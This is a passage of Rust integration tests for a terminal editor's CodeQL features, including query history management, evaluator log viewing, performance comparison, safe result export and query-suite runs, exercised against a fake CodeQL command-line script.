            &db.display().to_string(),
        );
        app.run_command(Command::CodeqlRenameDatabase);
        assert_eq!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(
                &crate::widgets::input_prompt::InputPurpose::CodeqlRenameDatabase {
                    path: db.clone()
                }
            )
        );
        app.close_input_prompt();
        app.run_command(Command::CodeqlSortDatabases);
        assert_eq!(app.codeql.db_sort, Some(crate::codeql_db::DbSort::Name));
        assert_eq!(
            Command::from_id("codeql_reveal_database"),
            Some(Command::CodeqlRevealDatabase)
        );
        assert_eq!(
            Command::CodeqlRemoveDatabase.title(),
            "CodeQL: Remove Database"
        );
    });
}

/// Save a query history of `(query, started, status, output)` runs, with
/// each output file written, for the history management tests.
fn seed_codeql_history(
    tmp: &std::path::Path,
    runs: &[(&str, u64, crate::codeql_query::RunStatus, PathBuf)],
) {
    let mut history = crate::codeql_query::History::default();
    for (query, started, status, output) in runs {
        std::fs::write(tmp.join(query), "select 1").unwrap();
        std::fs::create_dir_all(output.parent().unwrap()).unwrap();
        std::fs::write(output, "col0\n1\n").unwrap();
        history.push(crate::codeql_query::HistoryEntry {
            query: tmp.join(query),
            database: String::from("app"),
            database_path: None,
            started: *started,
            seconds: 3,
            status: status.clone(),
            output: output.clone(),
            name: None,
            results: None,
        });
    }
    history.save(&App::codeql_history_path()).unwrap();
}

#[test]
fn codeql_query_history_is_renamed_sorted_opened_and_removed_from_the_side_bar() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    // #578: VS Code's Query History view renames, sorts, views the query
    // of, opens the results directory of and removes a run; removing
    // deletes only results in croft's own cache.
    use crate::codeql_query::RunStatus;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let cached = App::codeql_results_dir().join("200-a");
        let elsewhere = tmp.path().join("elsewhere");
        seed_codeql_history(
            tmp.path(),
            &[
                (
                    "c.ql",
                    50,
                    RunStatus::Running,
                    App::codeql_results_dir().join("50-c/results.csv"),
                ),
                (
                    "b.ql",
                    100,
                    RunStatus::Succeeded,
                    elsewhere.join("results.csv"),
                ),
                (
                    "a.ql",
                    200,
                    RunStatus::Succeeded,
                    cached.join("results.csv"),
                ),
            ],
        );
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.open_codeql_view();
        app.focus = Pane::Tree;
        let press = |app: &mut App, code: KeyCode| {
            app.handle_key(key(code, KeyModifiers::NONE)).unwrap();
        };
        assert_eq!(app.codeql.history.len(), 3);
        assert!(app.codeql.history[0].contains("a.ql"), "newest first");

        // F2 renames, starting from the query's name.
        app.codeql.select_history(0);
        press(&mut app, KeyCode::F(2));
        assert_eq!(app.input_prompt.as_ref().unwrap().value, "a.ql");
        for _ in 0.."a.ql".len() {
            press(&mut app, KeyCode::Backspace);
        }
        for c in "zeta".chars() {
            press(&mut app, KeyCode::Char(c));
        }
        press(&mut app, KeyCode::Enter);
        assert_eq!(app.codeql.history[0], "\u{2713} zeta", "{}", app.status);

        // `s` on a history row sorts the history, not the databases.
        press(&mut app, KeyCode::Char('s'));
        assert_eq!(app.codeql.history_sort, crate::codeql_query::HistSort::Name);
        assert_eq!(app.codeql.db_sort, None, "databases untouched");
        assert!(app.codeql.history[0].contains("b.ql"));
        assert_eq!(app.codeql.selected_history(), Some(2), "still on zeta");
        assert_eq!(
            crate::codeql_query::History::load(&App::codeql_history_path()).sort_by,
            crate::codeql_query::HistSort::Name,
            "the order is saved"
        );

        // `v` opens the query; `o` the results in their cache folder.
        press(&mut app, KeyCode::Char('v'));
        assert_eq!(
            app.editor.path.as_deref(),
            Some(tmp.path().join("a.ql").as_path())
        );
        press(&mut app, KeyCode::Char('o'));
        assert_eq!(
            app.editor.path.as_deref(),
            Some(cached.join("results.csv").as_path())
        );
        assert!(app.status.contains("Results directory"), "{}", app.status);

        // A run in flight is not removed.
        app.codeql.select_history(1);
        press(&mut app, KeyCode::Delete);
        assert!(app.input_prompt.is_none());
        assert!(app.status.contains("still running"), "{}", app.status);

        // Delete asks first; Esc keeps it; results outside the cache stay.
        app.codeql.select_history(0);
        press(&mut app, KeyCode::Delete);
        assert!(
            app.input_prompt
                .as_ref()
                .unwrap()
                .title
                .contains("stay on disk"),
            "{}",
            app.input_prompt.as_ref().unwrap().title
        );
        press(&mut app, KeyCode::Esc);
        assert_eq!(app.codeql.history.len(), 3, "Esc keeps it");
        press(&mut app, KeyCode::Delete);
        press(&mut app, KeyCode::Enter);
        assert_eq!(app.codeql.history.len(), 2, "{}", app.status);
        assert!(
            elsewhere.join("results.csv").is_file(),
            "not croft's to delete"
        );
        assert_eq!(app.codeql.selected_history(), Some(0), "stays in the list");

        // Croft's own results folder goes with its entry.
        app.codeql.select_history(1);
        press(&mut app, KeyCode::Delete);
        assert!(
            app.input_prompt
                .as_ref()
                .unwrap()
                .title
                .contains("results are deleted"),
            "{}",
            app.input_prompt.as_ref().unwrap().title
        );
        press(&mut app, KeyCode::Enter);
        assert_eq!(app.codeql.history.len(), 1, "{}", app.status);
        assert!(!cached.exists(), "the run's folder is gone");
        assert!(
            App::codeql_results_dir().join("50-c").is_dir(),
            "only that run's folder"
        );
    });
}

#[cfg(unix)]
#[test]
fn a_codeql_runs_evaluator_log_opens_raw_or_summarised() {
    // #578: every run writes an evaluator log beside its results. "Show
    // Evaluator Log (Raw JSON)" opens it; "(Summary Text)" runs `codeql
    // generate log-summary` once and opens the text it wrote.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let out = App::codeql_results_dir().join("1-q").join("results.csv");
        seed_codeql_history(
            tmp.path(),
            &[("q.ql", 1, RunStatus::Succeeded, out.clone())],
        );
        app.run_command(Command::CodeqlShowEvaluatorLog);
        assert_eq!(app.status, "q.ql has no evaluator log");

        let log = crate::codeql_query::evaluator_log(&out);
        std::fs::create_dir_all(log.parent().unwrap()).unwrap();
        std::fs::write(&log, "{\"type\":\"LOG_HEADER\"}\n").unwrap();
        app.run_command(Command::CodeqlShowEvaluatorLog);
        assert_eq!(app.editor.path.as_deref(), Some(log.as_path()));

        // The fake CLI writes its reply to the path after the log.
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        let script = std::fs::read_to_string(&app.codeql_program).unwrap();
        std::fs::write(
            &app.codeql_program,
            script.replace(
                "exit 0",
                "[ \"$1\" = generate ] && echo 'Summary' > \"$5\"\nexit 0",
            ),
        )
        .unwrap();
        app.run_command(Command::CodeqlShowEvaluatorLogSummary);
        assert_eq!(app.status, "Summarising the evaluator log\u{2026}");
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
        while !app.drain_codeql_log_summary() {
            assert!(
                std::time::Instant::now() < deadline,
                "the summary never finished"
            );
            std::thread::sleep(std::time::Duration::from_millis(20));
        }
        let summary = crate::codeql_query::evaluator_log_summary(&out);
        assert_eq!(app.status, "Opened the evaluator log summary");
        assert_eq!(app.editor.path.as_deref(), Some(summary.as_path()));
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.trim(),
            format!(
                "generate log-summary --format=text {} {}",
                log.display(),
                summary.display()
            )
        );
        // Made once: the second request opens the file without the CLI.
        app.run_command(Command::CodeqlShowEvaluatorLogSummary);
        assert!(app.codeql_log_summary.is_none());
        assert_eq!(app.editor.path.as_deref(), Some(summary.as_path()));
        assert_eq!(
            Command::from_id("codeql_show_evaluator_log_summary"),
            Some(Command::CodeqlShowEvaluatorLogSummary)
        );
    });
}

#[cfg(unix)]
#[test]
fn a_codeql_runs_query_log_opens_the_newest_log_in_its_logs_folder() {
    // #578: VS Code's "Show Query Log". Every run passes `--logdir` so
    // `codeql` writes its log beside the results; the newest one opens.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let out = App::codeql_results_dir().join("1-q").join("results.csv");
        seed_codeql_history(
            tmp.path(),
            &[("q.ql", 1, RunStatus::Succeeded, out.clone())],
        );
        // A run from before croft kept query logs.
        app.run_command(Command::CodeqlShowQueryLog);
        assert_eq!(app.status, "q.ql has no query log");

        let logs = crate::codeql_query::query_log_dir(&out);
        std::fs::create_dir_all(&logs).unwrap();
        let at = |secs| std::time::UNIX_EPOCH + std::time::Duration::from_secs(secs);
        for (name, secs) in [
            ("execute-new.log", 20),
            ("execute-old.log", 10),
            ("x.txt", 30),
        ] {
            let f = std::fs::File::create(logs.join(name)).unwrap();
            f.set_modified(at(secs)).unwrap();
        }
        app.run_command(Command::CodeqlShowQueryLog);
        assert_eq!(
            app.editor.path.as_deref(),
            Some(logs.join("execute-new.log").as_path())
        );
        assert_eq!(
            Command::from_id("codeql_show_query_log"),
            Some(Command::CodeqlShowQueryLog)
        );

        // A real run asks `codeql` for a log in its own folder.
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "import rust\nselect 1");
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        app.run_command(Command::CodeqlRunQuery);
        wait_for_codeql(&mut app);
        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        let run = &history.entries[history.newest().unwrap()];
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        let logdir = format!(
            "--logdir={}",
            crate::codeql_query::query_log_dir(&run.output).display()
        );
        assert!(calls.starts_with("query run "), "{calls}");
        assert!(calls.contains(&logdir), "{calls}");
    });
}

#[cfg(unix)]
#[test]
fn a_codeql_runs_evaluator_log_viewer_shows_a_folded_predicate_tree() {
    // #578: "Show Evaluator Log (Viewer)" runs `codeql generate log-summary
    // --format=predicates` once, keeps the file beside the log, and shows
    // its predicates slowest first as a tree folded to one line each.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let out = App::codeql_results_dir().join("1-q").join("results.csv");
        seed_codeql_history(
            tmp.path(),
            &[("q.ql", 1, RunStatus::Succeeded, out.clone())],
        );
        app.run_command(Command::CodeqlShowEvaluatorLogViewer);
        assert_eq!(app.status, "q.ql has no evaluator log");
        assert!(app.codeql_log_viewer.is_none());

        let log = crate::codeql_query::evaluator_log(&out);
        std::fs::create_dir_all(log.parent().unwrap()).unwrap();
        std::fs::write(&log, "{\"type\":\"LOG_HEADER\"}\n").unwrap();
        let sample = concat!(
            r#"{"summaryLogVersion":"0.4.0"}"#,
            "\n",
            r#"{"predicateName":"Foo::fast#a","evaluationStrategy":"COMPUTE_SIMPLE","millis":7,"resultSize":2,"dependencies":{"files":"h"},"ra":{"pipeline":["{1} r1 = SCAN files","return r1"]},"pipelineRuns":[{"raReference":"pipeline"}]}"#,
            "\n",
            r#"{"predicateName":"Foo::slow#b","evaluationStrategy":"COMPUTE_RECURSIVE","millis":1500,"resultSize":1234,"predicateIterationMillis":[500,1000],"ra":{"base":["return r1"],"standard":["return r2"]}}"#,
            "\n",
        );
        let reply = tmp.path().join("reply.jsonl");
        std::fs::write(&reply, sample).unwrap();
        // The fake CLI copies its reply to the path after the log.
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        let script = std::fs::read_to_string(&app.codeql_program).unwrap();
        std::fs::write(
            &app.codeql_program,
            script.replace(
                "exit 0",
                &format!(
                    "[ \"$1\" = generate ] && cp '{}' \"$5\"\nexit 0",
                    reply.display()
                ),
            ),
        )
        .unwrap();
        let wait = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
            while !app.drain_codeql_log_viewer() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the viewer never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(20));
            }
        };
        app.run_command(Command::CodeqlShowEvaluatorLogViewer);
        assert_eq!(app.status, "Reading the evaluator log\u{2026}");
        wait(&mut app);
        assert_eq!(app.status, "Opened the evaluator log viewer");
        assert_eq!(
            app.editor.path.as_deref(),
            Some(std::path::Path::new("Evaluator Log (q.ql)"))
        );
        assert_eq!(
            app.editor.lines[2],
            "\u{25b8} 1,500 ms  1,234 rows  Foo::slow#b (COMPUTE_RECURSIVE), 2 iterations"
        );
        assert!(
            app.editor
                .lines
                .iter()
                .any(|l| l.starts_with("\u{25b8} 7 ms  2 rows  Foo::fast#a")),
            "{:?}",
            app.editor.lines
        );
        assert!(app.editor.lines.iter().any(|l| l == "        files"));
        assert!(app.editor.is_line_hidden(3), "predicates start folded");
        // The side bar's Evaluator Log Viewer section holds the same tree.
        {
            use crate::widgets::codeql::{Action, Hit, Line};
            let rows = |app: &App| -> Vec<(Action, String)> {
                app.codeql
                    .lines()
                    .into_iter()
                    .filter_map(|l| match l {
                        Line::Action(
                            a @ (Action::EvalPredicate(_)
                            | Action::EvalDependency(_)
                            | Action::ClearEvalLog),
                            t,
                        ) => Some((a, t)),
                        _ => None,
                    })
                    .collect()
            };
            let folded = rows(&app);
            assert_eq!(folded.len(), 3, "{folded:?}");
            assert_eq!(folded[0].1, "Clear \u{b7} q.ql");
            assert!(folded[1].1.contains("Foo::slow#b"), "slowest first");
            assert!(folded[2].1.contains("Foo::fast#a"));
            app.activate_codeql(Hit::Action(Action::EvalPredicate(1)));
            let open = rows(&app);
            assert!(open[2].1.starts_with("\u{25be}"), "{open:?}");
            assert!(
                open.iter().any(|(_, t)| t == "  Pipeline pipeline"),
                "{open:?}"
            );
            let dep = open
                .iter()
                .find(|(a, _)| matches!(a, Action::EvalDependency(_)))
                .expect("the dependency row");
            assert_eq!(dep.1, "  \u{2192} files");
            app.activate_codeql(Hit::Action(dep.0));
            assert!(app.status.contains("not in this log"), "{}", app.status);
            app.activate_codeql(Hit::Action(Action::ClearEvalLog));
            assert!(app.codeql.evallog.is_none());
        }
        let predicates = crate::codeql_query::evaluator_log_predicates(&out);
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.trim(),
            format!(
                "generate log-summary --format=predicates {} {}",
                log.display(),
                predicates.display()
            )
        );

        // Made once: the second request reads the kept file without the CLI.
        app.run_command(Command::CodeqlShowEvaluatorLogViewer);
        wait(&mut app);
        assert_eq!(app.status, "Opened the evaluator log viewer");
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(calls.trim().lines().count(), 1, "{calls}");
        assert_eq!(
            Command::from_id("codeql_show_evaluator_log_viewer"),
            Some(Command::CodeqlShowEvaluatorLogViewer)
        );

        // A CLI failure says why.
        std::fs::remove_file(&predicates).unwrap();
        app.codeql_program = fake_codeql(bin.path(), "", 2, "no such log");
        app.run_command(Command::CodeqlShowEvaluatorLogViewer);
        wait(&mut app);
        assert_eq!(app.status, "Could not read the evaluator log: no such log");
    });
}

#[cfg(unix)]
#[test]
fn comparing_codeql_performance_sets_two_runs_predicate_timings_side_by_side() {
    // #578: VS Code's "Compare Performance". The newest run's evaluator
    // log is set against the previous successful run of the same query,
    // whatever its kind of results; a predicate summary either run lacks
    // is made once by the CLI, as the log viewer makes it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        let old_out = App::codeql_results_dir().join("1-q").join("results.sarif");
        let new_out = App::codeql_results_dir().join("2-q").join("results.csv");
        seed_codeql_history(
            tmp.path(),
            &[("q.ql", 2, RunStatus::Succeeded, new_out.clone())],
        );
        app.run_command(Command::CodeqlComparePerformance);
        assert_eq!(app.status, "q.ql has no evaluator log");
        let new_log = crate::codeql_query::evaluator_log(&new_out);
        std::fs::write(&new_log, "{}\n").unwrap();
        app.run_command(Command::CodeqlComparePerformance);
        assert_eq!(
            app.status,
            "There is no earlier successful run of q.ql to compare with"
        );

        seed_codeql_history(
            tmp.path(),
            &[
                ("q.ql", 1, RunStatus::Succeeded, old_out.clone()),
                ("q.ql", 2, RunStatus::Succeeded, new_out.clone()),
            ],
        );
        app.run_command(Command::CodeqlComparePerformance);
        assert_eq!(app.status, "q.ql has no evaluator log", "the earlier run's");
        assert!(app.codeql_perf_compare.is_none());

        // The earlier run's summary is already kept; the later one's is not.
        std::fs::write(crate::codeql_query::evaluator_log(&old_out), "{}\n").unwrap();
        std::fs::write(
            crate::codeql_query::evaluator_log_predicates(&old_out),
            concat!(
                r#"{"predicateName":"Foo::bar#abc","evaluationStrategy":"COMPUTE_SIMPLE","millis":3400,"resultSize":12}"#,
                "\n",
                r#"{"predicateName":"Gone::p#1","evaluationStrategy":"COMPUTE_SIMPLE","millis":500,"resultSize":4}"#,
                "\n",
            ),
        )
        .unwrap();
        let reply = tmp.path().join("reply.jsonl");
        std::fs::write(
            &reply,
            concat!(
                r#"{"predicateName":"Foo::bar#def","evaluationStrategy":"COMPUTE_SIMPLE","millis":4600,"resultSize":15}"#,
                "\n",
                r#"{"predicateName":"Added::r#2","evaluationStrategy":"COMPUTE_SIMPLE","millis":90,"resultSize":7}"#,
                "\n",
            ),
        )
        .unwrap();
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        let script = std::fs::read_to_string(&app.codeql_program).unwrap();
        std::fs::write(
            &app.codeql_program,
            script.replace(
                "exit 0",
                &format!(
                    "[ \"$1\" = generate ] && cp '{}' \"$5\"\nexit 0",
                    reply.display()
                ),
            ),
        )
        .unwrap();
        let wait = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
            while !app.drain_codeql_perf_compare() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the comparison never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(20));
            }
        };
        app.run_command(Command::CodeqlComparePerformance);
        assert_eq!(app.status, "Comparing the evaluator logs\u{2026}");
        wait(&mut app);
        assert_eq!(app.status, "Opened the performance comparison");
        assert_eq!(
            app.editor.path.as_deref(),
            Some(std::path::Path::new("Performance (q.ql)"))
        );
        assert_eq!(
            app.editor.lines[..6],
            [
                "Performance: earlier (app) \u{2192} later (app)",
                "3,900 \u{2192} 4,690 ms in all (+790 ms), 3 predicates: 1 in both, 1 only before, 1 only after",
                "",
                "+1,200 ms  3,400 \u{2192} 4,600 ms  12 \u{2192} 15 rows  Foo::bar#def",
                "  -500 ms  500 \u{2192} \u{2013} ms  4 \u{2192} \u{2013} rows  Gone::p#1",
                "   +90 ms  \u{2013} \u{2192} 90 ms  \u{2013} \u{2192} 7 rows  Added::r#2",
            ]
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.trim(),
            format!(
                "generate log-summary --format=predicates {} {}",
                new_log.display(),
                crate::codeql_query::evaluator_log_predicates(&new_out).display()
            )
        );
        assert_eq!(
            Command::from_id("codeql_compare_performance"),
            Some(Command::CodeqlComparePerformance)
        );
    });
}

#[test]
fn codeql_results_are_exported_to_a_new_file_only() {
    // #578: VS Code's "Export Results" copies the newest successful run's
    // results (a failed run later on is passed over) to a file the user
    // names, suggesting one in the workspace, and never overwrites.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.run_command(Command::CodeqlExportResults);
        assert_eq!(
            app.status,
            "There is no successful CodeQL query run to export"
        );
        assert!(app.input_prompt.is_none());

        seed_codeql_history(
            tmp.path(),
            &[
                (
                    "q.ql",
                    2,
                    RunStatus::Succeeded,
                    App::codeql_results_dir().join("2-q/results.csv"),
                ),
                (
                    "r.ql",
                    5,
                    RunStatus::Failed(String::from("x")),
                    App::codeql_results_dir().join("5-r/results.sarif"),
                ),
            ],
        );
        app.run_command(Command::CodeqlExportResults);
        let dest = app.workspace_root().join("q-results.csv");
        assert_eq!(
            app.input_prompt.as_ref().expect("the prompt opens").value,
            dest.display().to_string()
        );
        app.submit_input_prompt();
        assert_eq!(
            app.status,
            format!("Exported results to {}", dest.display())
        );
        assert_eq!(std::fs::read_to_string(&dest).unwrap(), "col0\n1\n");

        std::fs::write(&dest, "mine").unwrap();
        app.run_command(Command::CodeqlExportResults);
        app.submit_input_prompt();
        assert_eq!(
            app.status,
            format!(
                "{} already exists; export the results to a new file",
                dest.display()
            )
        );
        assert_eq!(std::fs::read_to_string(&dest).unwrap(), "mine");
        // A dangling symlink is refused too, not followed and written.
        #[cfg(unix)]
        {
            let link = app.workspace_root().join("link.csv");
            let target = app.workspace_root().join("nowhere.csv");
            std::os::unix::fs::symlink(&target, &link).unwrap();
            app.run_command(Command::CodeqlExportResults);
            app.input_prompt.as_mut().unwrap().value = link.display().to_string();
            app.submit_input_prompt();
            assert!(app.status.contains("already exists"), "{}", app.status);
            assert!(!target.exists(), "the link's target was not created");
        }
        // Results gone while the prompt was open: nothing is created at
        // the destination.
        let fresh = app.workspace_root().join("fresh.csv");
        app.run_command(Command::CodeqlExportResults);
        app.input_prompt.as_mut().unwrap().value = fresh.display().to_string();
        std::fs::remove_file(App::codeql_results_dir().join("2-q/results.csv")).unwrap();
        app.submit_input_prompt();
        assert!(
            app.status.starts_with("Could not read the results at "),
            "{}",
            app.status
        );
        assert!(!fresh.exists(), "no file was created for a failed export");
        assert_eq!(
            Command::from_id("codeql_export_results"),
            Some(Command::CodeqlExportResults)
        );
    });
}

#[cfg(unix)]
#[test]
fn a_codeql_query_suite_runs_through_database_analyze_into_sarif() {
    // #578: VS Code's "CodeQL: Run Query Suite" runs the open .qls on the
    // selected database; a suite only runs through `database analyze`, so
    // its results are SARIF whatever its queries' kinds.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), r#"{"version":"2.1.0","runs":[]}"#, 0, "");
        // `resolve queries` answers with the suite's queries: one alert
        // query, listed in a file the test can switch to a table query.
        let alert = tmp.path().join("Alert.ql");
        std::fs::write(&alert, "/** @kind problem */ select 1").unwrap();
        let listed = bin.path().join("resolved.json");
        std::fs::write(&listed, format!("[\"{}\"]", alert.display())).unwrap();
        let script = std::fs::read_to_string(&app.codeql_program).unwrap();
        std::fs::write(
            &app.codeql_program,
            script.replacen(
                "\n",
                &format!(
                    "\n[ \"$1\" = resolve ] && {{ cat '{}'; exit 0; }}\n",
                    listed.display()
                ),
                1,
            ),
        )
        .unwrap();
        app.run_command(Command::CodeqlRunQuerySuite);
        assert_eq!(app.status, "Open a .qls query suite to run it");
        assert!(app.codeql_run.is_none());

        let suite = tmp.path().join("s.qls");
        std::fs::write(&suite, "- queries: .\n").unwrap();
        app.editor.open(&suite).unwrap();
        // The CLI reads the saved suite, so unsaved edits are refused.
        app.editor.dirty = true;
        app.run_command(Command::CodeqlRunQuerySuite);
        assert_eq!(
            app.status,
            "Save s.qls before running it: CodeQL reads it from disk"
        );
        assert!(app.codeql_run.is_none());
        app.editor.dirty = false;
        app.run_command(Command::CodeqlRunQuerySuite);
        assert!(
            app.status.contains("Running s.qls on app"),
            "{}",
            app.status
        );
        wait_for_codeql(&mut app);
        let opened = app.editor.path.clone().expect("the results open");
        assert_eq!(opened.extension().and_then(|e| e.to_str()), Some("sarif"));
        assert!(
            app.codeql.history[0].starts_with("\u{2713} s.qls \u{b7} app"),
            "{:?}",
            app.codeql.history
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert!(
            calls.contains(&format!(
                "database analyze {} {} --format=sarif-latest ",
                tmp.path().join("dbs/app").display(),
                suite.display()
            )),
            "{calls}"
        );

        // A suite selecting a table query is refused before the analysis:
        // `database analyze` cannot produce its results.
        let table = tmp.path().join("Table.ql");
        std::fs::write(&table, "select 1").unwrap();
        std::fs::write(
            &listed,
            format!("[\"{}\",\"{}\"]", alert.display(), table.display()),
        )
        .unwrap();
        app.editor.open(&suite).unwrap();
        app.run_command(Command::CodeqlRunQuerySuite);
        wait_for_codeql(&mut app);
        assert!(
            app.codeql.history[0].contains("Table.ql"),
            "the refusal names the table query: {:?}",
            app.codeql.history
        );

        // "Run Query on Selected Database" takes a suite too.
        app.editor.open(&suite).unwrap();
        app.run_command(Command::CodeqlRunQuery);
        assert!(
            app.status.contains("Running s.qls on app"),
            "{}",
            app.status
        );
        wait_for_codeql(&mut app);
        assert_eq!(
            Command::from_id("codeql_run_query_suite"),
            Some(Command::CodeqlRunQuerySuite)
        );
    });
}

#[cfg(unix)]
#[test]
fn codeql_query_help_is_previewed_as_markdown_or_reported_missing() {
    // #578: VS Code's "CodeQL: Preview Query Help" renders the open
    // query's help with `codeql generate query-help` off the UI thread and
    // shows it in the Markdown preview; with no .ql open it takes the
    // query of the newest history entry.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        let wait = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
            while !app.drain_codeql_query_help() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the query help never landed"
                );
                std::thread::sleep(std::time::Duration::from_millis(20));
            }
        };
        app.codeql_program = fake_codeql(bin.path(), "# Q\n\nFinds things.\n", 0, "");
        app.run_command(Command::CodeqlPreviewQueryHelp);
        assert_eq!(app.status, "Rendering the help of q.ql\u{2026}");
        wait(&mut app);
        assert_eq!(app.status, "Query help for q.ql");
        let help = croft_cache_dir().join("codeql/help/q.md");
        assert_eq!(app.editor.path.as_deref(), Some(help.as_path()));
        assert!(app.editor.markdown_preview.is_some());
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.trim(),
            format!(
                "generate query-help --format=markdown --output={} {}",
                help.display(),
                tmp.path().join("q.ql").display()
            )
        );

        // No help beside the query: the CLI writes nothing.
        seed_codeql_history(
            tmp.path(),
            &[(
                "h.ql",
                5,
                crate::codeql_query::RunStatus::Succeeded,
                App::codeql_results_dir().join("5-h/results.csv"),
            )],
        );
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        app.run_command(Command::CodeqlPreviewQueryHelp);
        assert_eq!(app.status, "Rendering the help of h.ql\u{2026}");
        wait(&mut app);
        assert_eq!(
            app.status,
            "h.ql has no query help (no .qhelp or .md beside it)"
        );

        app.editor.open(&tmp.path().join("q.ql")).unwrap();
        app.codeql_program = fake_codeql(bin.path(), "", 2, "ERROR: no help");
        app.run_command(Command::CodeqlPreviewQueryHelp);
        wait(&mut app);
        assert_eq!(app.status, "q.ql has no query help: ERROR: no help");
        assert_eq!(
            Command::from_id("codeql_preview_query_help"),
            Some(Command::CodeqlPreviewQueryHelp)
        );
    });
}

#[cfg(unix)]
#[test]
fn codeql_pack_commands_install_dependencies_and_download_packs() {
    // #578: "Install Pack Dependencies" runs `codeql pack install` on the
    // selected pack's folder; "Download Packs" asks which packs and runs
    // `codeql pack download` on them. Both off the UI thread.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        std::fs::create_dir_all(tmp.path().join("pack")).unwrap();
        std::fs::write(tmp.path().join("pack/qlpack.yml"), "name: acme/rust\n").unwrap();
        std::fs::write(tmp.path().join("pack/a.ql"), "select 1").unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        app.open_codeql_view();
        app.run_command(Command::CodeqlInstallPackDependencies);
        assert_eq!(
            app.status,
            "Select a query pack or one of its queries in the CodeQL side bar first"
        );
        let row = app
            .codeql
            .lines()
            .iter()
            .position(|l| {
                matches!(
                    l,
                    crate::widgets::codeql::Line::Action(
                        crate::widgets::codeql::Action::RunQuery(0, 0),
                        _
                    )
                )
            })
            .expect("a.ql is listed");
        app.codeql.selected = row;
        app.run_command(Command::CodeqlInstallPackDependencies);
        assert_eq!(
            app.status,
            "Installing the dependencies of acme/rust\u{2026}"
        );
        app.run_command(Command::CodeqlInstallPackDependencies);
        assert_eq!(
            app.status,
            "A CodeQL pack install or download is already running"
        );
        let wait = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
            while !app.drain_codeql_pack_job() {
                assert!(
                    std::time::Instant::now() < deadline,
                    "the pack job never finished"
                );
                std::thread::sleep(std::time::Duration::from_millis(20));
            }
        };
